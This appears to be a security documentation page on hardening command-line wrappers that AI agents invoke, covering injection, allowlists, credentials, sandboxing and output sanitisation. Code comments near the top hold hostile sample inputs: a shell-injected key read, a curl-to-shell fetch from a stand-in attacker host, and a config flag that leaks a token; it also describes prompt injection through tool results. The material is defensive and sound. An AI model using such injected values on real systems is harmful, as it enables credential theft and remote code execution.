Security
|
This content was generated with the assistance of AI and should be verified against the official documentation of each tool and framework before being relied on in production. This section’s bibliography lists the reference material consulted while preparing these pages. |
This page was written against Python 3.12, Node.js 24, Java 21, the MCP security best practices page, the Claude Code sandboxing
documentation and the docsctl running example of this sub-section, as checked on 2026-09-30. The Python helper at the end of the
output section was run against stub programs (a runaway producer, a hung process, escape sequences in output); the other
fragments are illustrative, the safe Node.js and Java forms follow the listings of the wrapping pages, and the vulnerable forms
were deliberately not run. Security guidance changes, and this page is a starting point and not an audit: re-check it against the
linked sources and against your own threat model.
A command-line tool that an agent can run is an interpreter for text that somebody else chose. The model chose the arguments, and the model may have been steered by a web page, an issue, a document or a tool result it read (see MCP Security and Security of Customizations). Whoever wrote that text has whatever access the tool has. This page is the checklist for the code that sits between the model and the binary, whether that is an MCP wrapper (Wrapping a CLI as an MCP Server), an agent tool (Wrapping a CLI as an Agent Tool) or the CLI’s own argument handling.
Each box is a separate control, and none of them is enough alone: validation can be wrong, a parser can surprise you, a token can be broader than intended, a sandbox can be misconfigured. The sections below add them up.
Command and argument injection
Two different bugs share the name "injection", and a wrapper has to prevent both.
-
Command injection happens when a value ends up inside a string that a shell interprets, so that
;,|,&,$(…), backticks, newlines or redirections run something else. The OWASP OS Command Injection Defense Cheat Sheet lists three defences: avoid OS commands where a library call will do, escape for the specific shell, or separate the command from its arguments with a structured API and validate each part. Only the first and the third scale; escaping is easy to get wrong. -
Argument injection (CWE-88, "Improper Neutralization of Argument Delimiters in a Command") happens when there is no shell at all, but a value reaches the argument list where the program will read it as an option. The cheat sheet’s answer is the
--delimiter, which marks the end of options so that what follows is treated as operands, together with validation.
Both are easy to write by accident. This is the vulnerable version of a docsctl search wrapper next to the safe one, in
Python.
import subprocess
def search(query: str) -> str:
# query = 'x; cat ~/.ssh/id_rsa' or 'x $(curl attacker.example | sh)'
return subprocess.run(f"docsctl search --json {query}", shell=True,
capture_output=True, text=True).stdout
import subprocess
def search(query: str) -> str:
# query = '--config=/tmp/attacker.toml' makes docsctl read attacker-controlled configuration,
# for example a base_url that points at the attacker, and send DOCSCTL_TOKEN there
return subprocess.run(["docsctl", "search", "--json", query],
capture_output=True, text=True).stdout
-- before the operandimport subprocess
def search(query: str) -> str:
if not 1 <= len(query) <= 200:
raise ValueError("query must be 1-200 characters")
argv = ["/usr/local/bin/docsctl", "search", "--json", "--no-input", "--", query]
return subprocess.run(argv, shell=False, capture_output=True, text=True, timeout=25,
stdin=subprocess.DEVNULL, env={"PATH": "/usr/bin:/bin"}).stdout
The Node.js and Java equivalents follow the same pattern. The vulnerable forms are the ones that concatenate a string and hand it to
a shell (exec in Node.js, sh -c in Java); the safe forms are execFile and a ProcessBuilder with a list.
import { exec, execFile } from 'node:child_process';
// Vulnerable: the template string is parsed by /bin/sh
exec(`docsctl search --json ${query}`, (err, stdout) => { /* ... */ });
// Safe: no shell (shell defaults to false), an argument array, "--" before the operand
execFile('/usr/local/bin/docsctl', ['search', '--json', '--no-input', '--', query],
{ timeout: 25_000, maxBuffer: 256_000, env: { PATH: '/usr/bin:/bin' } },
(err, stdout) => { /* ... */ });
// Vulnerable: the whole string is parsed by sh
new ProcessBuilder("sh", "-c", "docsctl search --json " + query).start();
// Safe: each list element is exactly one argument; nothing is parsed
new ProcessBuilder(List.of("/usr/local/bin/docsctl", "search", "--json", "--no-input", "--", query)).start();
Node.js documents the risk of the shell option in its
child_process reference, Python in the
subprocess reference (shell=True and its security considerations), and Java
in the ProcessBuilder reference.
The argv discipline
The rule is the same in every language: give the operating system an array of arguments, never a string to be parsed.
| Language | Use | Avoid with untrusted values |
|---|---|---|
Python |
|
|
Node.js |
|
|
Java |
|
|
Go |
|
|
Rust |
|
|
.NET |
|
The single |
Swift |
|
|
The Go, Rust, .NET and Swift rows follow the standard libraries' documented behaviour and were not run for this page. A few consequences are worth spelling out:
-
No shell means no shell features. No globbing, no pipes, no
~expansion, no environment-variable expansion in arguments. That is the point. If the wrapper needs a pipeline, it composes it in code. -
Windows batch files are interpreted by
cmd.exe. Node.js documents thatexecFilecannot launch.batand.cmdfiles, and that launching them needs a shell. A wrapper that falls back to a shell to run a.cmdshim is back in command injection; ship a real executable. -
One argument is one argument.
"--component " + nameis a string, and an argument list should hold"--component"andnameas separate elements, so that a value with a space does not become two arguments.
The — separator, allowlists and dashes
The -- convention comes from POSIX utility syntax: an argument that is exactly -- ends the options, and everything after it is an
operand (see CLI Design Fundamentals). Use it before every user-supplied
operand, for every command that takes one. Then three more rules keep the rest of the command line honest.
-
Allowlist subcommands and flags. The wrapper’s code fixes which subcommand runs and which flags it may add. A tool argument never selects a subcommand or a flag name; the model picks values, the code picks options. This is what keeps
--config,--confirm-token,--forceandloginout of reach. -
Reject values that start with
-wherever a value is not supposed to. A component name that starts with a dash is not a component name. The defence has two layers because--works only if the program honours it and parses everything after it as operands:docsctlpromises that, but check each CLI you wrap, and test it with a value such as--help. Values that are legitimately negative numbers should be parsed as numbers by the wrapper and rendered by the wrapper. -
Check for other expansions the parser performs. Some frameworks expand argument files: picocli, for example, replaces an argument that begins with
@with the contents of that file unlessCommandLine::setExpandAtFiles(false)is called, and its documentation does not say how that interacts with--. A CLI meant to be driven by agents should switch such features off, or the wrapper should reject values that begin with@. The picocli behaviour is documented at picocli.info.
| Parameter | Validation | Why |
|---|---|---|
|
Length 1 to 200. Any characters, but always placed after |
Free text is the tool’s purpose; the delimiter is what makes it safe. |
|
Full match of |
A plain name cannot start with |
|
Integer between 1 and 100, rendered by the wrapper. |
A number is rendered from an integer, so no user text reaches the argument list. |
|
Full match of |
The |
|
Resolve to a canonical path and require it to be inside a fixed workspace root. |
Prevents |
Use a full match, not a search: re.fullmatch in Python, an anchored pattern in JavaScript, Matcher.matches() in Java. OWASP’s
guidance is positive validation, an allowlist of what is permitted with length limits, rather than a blocklist of dangerous
characters.
Absolute paths and a minimal environment
Run the binary from an absolute path. A bare docsctl is resolved through PATH, which can contain the current directory or a
directory an attacker can write to, and which may differ between the shell where you tested and the process that hosts the
wrapper. Resolve the path once, at deployment, store it in the wrapper’s configuration (not in a tool argument), and check that
neither the file nor its directory is writable by anyone you do not trust. Pin a checksum too (see Signed releases).
Give the child a minimal environment. A child inherits its parent’s environment by default, and both the parent’s secrets and
the variables that change behaviour come along. For docsctl the dangerous ones are DOCSCTL_CONFIG, DOCSCTL_BASE_URL and
DOCSCTL_TOKEN_FILE, which redirect it to different configuration and a different server; the dynamic linker’s own variables
(LD_PRELOAD and friends) are the classic case for any binary. Build the environment from scratch, as the listings on the
wrapping pages do: a fixed PATH, DOCSCTL_NO_INPUT=1, and only the credential the command needs. In Java, pb.environment().clear()
first, because ProcessBuilder starts from a copy of the parent’s environment; in Node.js pass env, which otherwise defaults to
process.env; in Python pass env=, which otherwise inherits.
Do not pass secrets in arguments. Command lines are visible to other users of the machine through the process table, and they
end up in logs and in shell history. Use the environment variable, a token file with restrictive permissions or standard input
(docsctl login --token-stdin), as discussed on Configuration & Auth.
Least-privilege credentials
The strongest control in this list is the one that does not depend on the wrapper being correct: a credential that cannot do the damage. If the agent’s token can only read documentation, no argument, injected or intended, can publish.
-
One identity per purpose. Give the agent a token of its own, not yours, so its actions are attributable and revocable without touching anyone else’s.
-
Scope it to what the wrapped commands need.
search,showandlist-componentsneed read access. Ifpublishis exposed at all, keep it in a separate wrapper with a separate token that is only issued to runs that a person started. MCP’s authorization guidance says the same about scopes (see MCP Authorization). -
Short-lived where the service allows it, and stored where only the wrapper can read it: an environment variable set by the launcher, or a file readable only by the user that runs the wrapper.
-
Never place the token where the model can read it. Keep it out of tool arguments, tool results and error messages. Filtering is a backstop (see Output caps and sanitisation), not a plan.
-
Never pass a client’s credential through to the CLI’s service. An MCP server that accepts a token from its caller and forwards it downstream is the "token passthrough" anti-pattern that the MCP security page forbids.
Sandboxing
Assume some day the validation will have a hole, and limit what a compromised call can reach.
-
Containers. Run the wrapper and the CLI in a container with no more than they need: a non-root user, a read-only root filesystem, all capabilities dropped, no new privileges, memory and process limits, and no network unless the command needs it. Docker documents each of these flags in its
docker container runreference; the image side is on Image Best Practices & Security. -
The Claude Code sandbox. Claude Code’s sandboxed Bash tool enforces filesystem and network isolation at the operating-system level (Seatbelt on macOS,
bubblewrapon Linux and WSL2) for every Bash command and its child processes, with allowed domains insandbox.network.allowedDomainsand writable paths insandbox.filesystem.allowWrite. It applies to shell commands the agent runs directly, so it covers "Claude Code runs `docsctl`". It does not wrap an MCP server that Claude Code starts, which runs on the host unless the whole process is inside a container or virtual machine; a wrapper needs its own isolation. See Permissions & Settings and the sandboxing documentation. -
Agent frameworks. LangChain’s
DockerExecutionPolicyruns a shell tool in a separate container per agent run (see Wrapping a CLI as an Agent Tool).
docker run --rm -i \
--read-only --tmpfs /tmp \
--cap-drop ALL --security-opt no-new-privileges \
--pids-limit 64 --memory 256m \
--user 10001:10001 \
-e DOCSCTL_TOKEN \
docsctl-mcp:0.1.0
-i keeps standard input open for the stdio transport, and -e DOCSCTL_TOKEN with no value copies the variable from the
launching environment, so the token is not on the command line. The host’s MCP configuration then names docker as the command;
see The MCP local server compromise guidance for why that entry deserves review.
Output caps and sanitisation
What the CLI prints is untrusted. It may be huge, it may contain terminal escape sequences, it may contain a secret the CLI was never meant to echo, and it may contain text written to steer the model. The MCP specification lists sanitising tool outputs among the things servers must do, and asks clients to validate results before they reach the model.
-
Cap the size, and cap it while reading. Reading everything and truncating afterwards bounds what you forward, not what you buffer. The helper below reads at most the cap plus one byte, and kills a process that keeps producing. Node.js
maxBufferand JavaInputStream.readNBytesdo the same job. Return a truncation marker or a hint to narrow the request, the pattern of Agent Ergonomics. -
Kill the process group on timeout. A timeout that kills only the direct child leaves any grandchild holding the output pipe open, and the read then waits for it. The helper starts the child in its own session and kills the group (POSIX; Windows needs a job object).
-
Strip control characters. Terminal escape sequences in output can rewrite what a human sees in a log or a host UI. Remove ANSI escape sequences and control characters other than tab and newline.
-
Redact known secret shapes as a backstop, and never rely on it as the only control.
-
Treat the text as data. A page returned by
docsctl showcan contain sentences that look like instructions. No sanitiser can make that safe; the defences are structural: return JSON so content sits in string values, keep the tool’s authority small so an obeyed instruction cannot do much, and gate anything destructive with a person (see MCP Security on prompt injection through results, and Agent Guardrails & Safety).
import os
import re
import signal
import subprocess
import threading
DOCSCTL = "/usr/local/bin/docsctl"
MAX_BYTES = 256_000
ANSI = re.compile(r"\x1b\[[0-?]*[ -/]*[@-~]|\x1b\][^\x07\x1b]*(?:\x07|\x1b\\)") # CSI and OSC escape sequences
CONTROL = re.compile(r"[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]") # control chars except \t and \n
TOKENISH = re.compile(r"\b(?:ghp|gho|ghs|github_pat)_[A-Za-z0-9_]{20,}\b") # example redaction rule
def run_bounded(argv: list[str], timeout: float = 25.0) -> tuple[int, str, bool]:
"""Run argv with a timeout and read at most MAX_BYTES of stdout. Returns (exit code, text, truncated)."""
proc = subprocess.Popen([DOCSCTL, *argv], shell=False, stdin=subprocess.DEVNULL,
stdout=subprocess.PIPE, stderr=subprocess.DEVNULL,
env={"PATH": "/usr/bin:/bin"},
start_new_session=True) # own process group (POSIX), so grandchildren can be killed too
def kill_group() -> None:
try:
os.killpg(proc.pid, signal.SIGKILL)
except ProcessLookupError:
pass
timer = threading.Timer(timeout, kill_group) # a hung child is killed, which ends the read
timer.start()
try:
data = proc.stdout.read(MAX_BYTES + 1) # never buffers more than the cap
truncated = len(data) > MAX_BYTES
if truncated:
kill_group() # stop a runaway producer
code = proc.wait()
finally:
timer.cancel()
proc.stdout.close()
return code, sanitize(data[:MAX_BYTES].decode("utf-8", errors="replace")), truncated
def sanitize(text: str) -> str:
"""Strip terminal escapes and control characters and redact token-shaped strings."""
text = ANSI.sub("", text)
text = CONTROL.sub("", text)
return TOKENISH.sub("[REDACTED]", text)
Run against a stub that prints three megabytes, this returns 256,000 characters with truncated true; against one that sleeps for
30 seconds with a timeout of one second it returns after one second with the exit status -9; and
sanitize("\x1b[31mred\x1b[0m") returns red.
Signed releases
The wrapper trusts a binary at an absolute path, so the binary’s provenance matters. Publish releases so that a user can check who built them and that they were not altered.
-
Checksums in a file published with the release, as a minimum, and pinned by the wrapper’s configuration or container image (a digest, not a tag).
-
Signatures. Sigstore’s
cosign sign-blobsigns a release file, and its documentation recommends a bundle (--bundle) so that the signature, certificate and transparency-log proof travel in one file. Keyless signing ties the signature to the CI workflow’s identity, and verification states which identity and issuer to accept. -
Build attestations. GitHub’s artifact attestations record build provenance for a workflow’s output and are verified with
gh attestation verify; the documentation describes SLSA v1.0 Build Level 2 for them and is explicit that an attestation is not a guarantee that the artifact is secure, only a verifiable link to its source and build.
cosign verify-blob docsctl-0.1.0-linux-amd64.tar.gz \
--bundle docsctl-0.1.0-linux-amd64.tar.gz.sigstore.json \
--certificate-identity "https://github.com/OWNER/docsctl/.github/workflows/release.yml@refs/tags/v0.1.0" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com"
Package managers, checksums and installers are covered on Packaging & Distribution. The same care applies to what the wrapper pulls in: pin and audit its dependencies, and treat a change to the wrapper or its launch command as a change to code that runs with your privileges. References: Sigstore — Signing blobs and GitHub — Artifact attestations.
The MCP local server compromise guidance
A wrapper started by an MCP host over the stdio transport is what the MCP security best practices page calls a local MCP server: a program on the user’s machine, launched from a configuration entry, running with the user’s privileges. The page lists the routes to compromise (a malicious startup command in a client configuration, a malicious payload inside the server, and an insecure server left running on localhost that is reachable through DNS rebinding) and the risks (arbitrary code execution with the client’s privileges, no visibility for the user, obfuscated commands, data exfiltration and data loss). For wrapper authors and for the people who install them, the guidance translates into concrete habits:
-
The configuration entry is code. The
commandandargsin an MCP configuration file are executed. Read them before you approve a server, and be wary of one-click installs that do not show the whole command. Clients are told to show the exact command without truncation and to require explicit consent. -
Sandbox the server, with minimal default privileges over the filesystem, the network and other resources, and grant more only when needed (the container command above is one way).
-
Prefer stdio to a listening port. The page tells local servers to use the
stdiotransport to limit access to the client; if you must use HTTP, require an authorization token, or use a Unix domain socket or another restricted IPC mechanism. -
Do not treat the wrapper as trusted because it is local. Its inputs come from a model and its outputs go to one.
The details, with worked examples, are on MCP Security (see its section on local server compromise and sandboxing) and on Connecting Hosts; the source is MCP — Security best practices.
Checklist
| Check | Failure it prevents |
|---|---|
An argument list is used everywhere; no shell, no |
Command injection. |
|
Argument injection. |
The wrapper chooses subcommands and flags; values starting with |
Reaching |
The binary is run from an absolute path that only trusted users can write. |
|
The environment is built from scratch; secrets are not in arguments. |
Redirected configuration, leaked secrets, dynamic-linker tricks. |
The credential is scoped, per-purpose and short-lived. |
A successful injection turning into a successful attack. |
A timeout kills the process group, and the output is read with a cap. |
Hangs and memory exhaustion. |
Output is stripped of control characters, redacted and treated as data. |
Terminal escape tricks, secret leaks, prompt injection through results. |
The wrapper runs in a container or another sandbox. |
A missed hole becoming host compromise. |
Releases are signed, the digest is pinned and the launch command is reviewed. |
A tampered binary or configuration. |
The checklist for the CLI itself, of which this table is the security part, is the Agent-Readiness Checklist.